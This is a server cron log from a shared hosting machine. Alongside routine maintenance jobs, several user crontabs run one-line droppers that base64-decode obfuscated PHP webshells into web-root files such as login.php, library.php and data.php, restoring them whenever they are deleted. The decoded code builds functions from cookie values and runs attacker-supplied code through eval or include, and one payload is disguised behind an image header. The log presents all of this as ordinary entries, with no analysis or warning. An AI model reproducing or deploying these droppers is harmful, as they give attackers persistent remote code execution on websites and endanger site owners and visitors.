Jun  7 05:45:02 medusa CROND[13181]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:45:02 medusa CROND[13182]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:45:02 medusa CROND[13180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:45:02 medusa CROND[13184]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:45:02 medusa CROND[13183]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:45:02 medusa CROND[13189]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:45:02 medusa CROND[13190]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:45:02 medusa CROND[13188]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:46:01 medusa CROND[14812]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:46:01 medusa CROND[14820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:46:01 medusa CROND[14821]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:46:01 medusa CROND[14822]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:46:01 medusa CROND[14823]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:46:01 medusa CROND[14825]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:46:01 medusa CROND[14827]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:46:01 medusa CROND[14828]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:46:01 medusa CROND[14829]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:46:01 medusa CROND[14831]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:46:01 medusa CROND[14838]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:46:01 medusa CROND[14842]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:46:01 medusa CROND[14843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:46:02 medusa CROND[14844]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:46:02 medusa CROND[14847]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:47:02 medusa CROND[16468]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:47:02 medusa CROND[16470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:47:02 medusa CROND[16471]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:47:02 medusa CROND[16469]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:47:02 medusa CROND[16473]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:47:02 medusa CROND[16474]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:47:02 medusa CROND[16475]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
